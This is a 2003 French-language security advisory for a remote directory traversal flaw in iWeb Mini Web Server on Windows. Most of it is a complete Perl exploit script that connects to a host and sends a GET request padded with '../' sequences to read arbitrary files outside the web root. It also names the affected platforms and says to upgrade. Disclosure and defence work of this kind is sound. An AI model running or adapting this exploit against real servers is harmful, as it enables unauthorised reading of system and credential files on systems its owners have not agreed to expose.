iWeb Mini Web Server Remote Directory Traversal
|
Date de Publication: 2003-04-16
Titre: iWeb Mini Web Server Remote Directory Traversal
K-Otik ID : 0020
Exploitable à distance : Oui
Exploitable en local : Non
* Description Technique - Exploit *
iWeb Mini Web Server est un serveur web utilisé pour l'intranet et les tests web dans un environnement réel. iWeb ne filtre pas correctement les requêtes GET pour le caractère ../ ce qui permet d'aller au delà le répertoire web, et tout ceci grâce à une simple url.
.....:[ Exploit ]:.....
#!/usr/bin/perl -w
# S e c u r i t y F r e a k s
# www.securityfreaks.com
# iWeb Mini Web Server Remote Directory Traversal
# subversive[at]linuxmail.org - *15/04/2003*
use IO::Socket;
if(!$ARGV[0]) {
print <<"IWEBSUK";
S e c u r i t y F r e a k s
www.securityfreaks.com
-------------------------------------------------------------
SF-iwsuk.pl - iWeb Mini Web Server Remote Directory Traversal
-------------------------------------------------------------
Usage: $0 <host> <file> <port>
IWEBSUK
exit;
}
else{
$host = $ARGV[0];
}
if(!$ARGV[2]) {
$port = "80";
}
else {
$port = $ARGV[2];
}
my $sock = new IO::Socket::INET ( Proto => "tcp",
PeerAddr => $host,
PeerPort => $port,
);
die "\nConnection to $host:$port failed\n" unless $sock;
print $sock "GET /../../../../../../../../../$ARGV[1] HTTP/1.0\n\n";
while(<$sock>) { print }
close($sock);
print("\n\n");
exit;
* Versions Vulnérables *
Plateformes Windows NT/XP/9x
* Solution *
Utiliser la nouvelle version de iWeb : http://ashleybrown.co.uk/
* Crédits *
Faille découverte par subversive et l'équipe de securityfreaks (Avril 2003).
|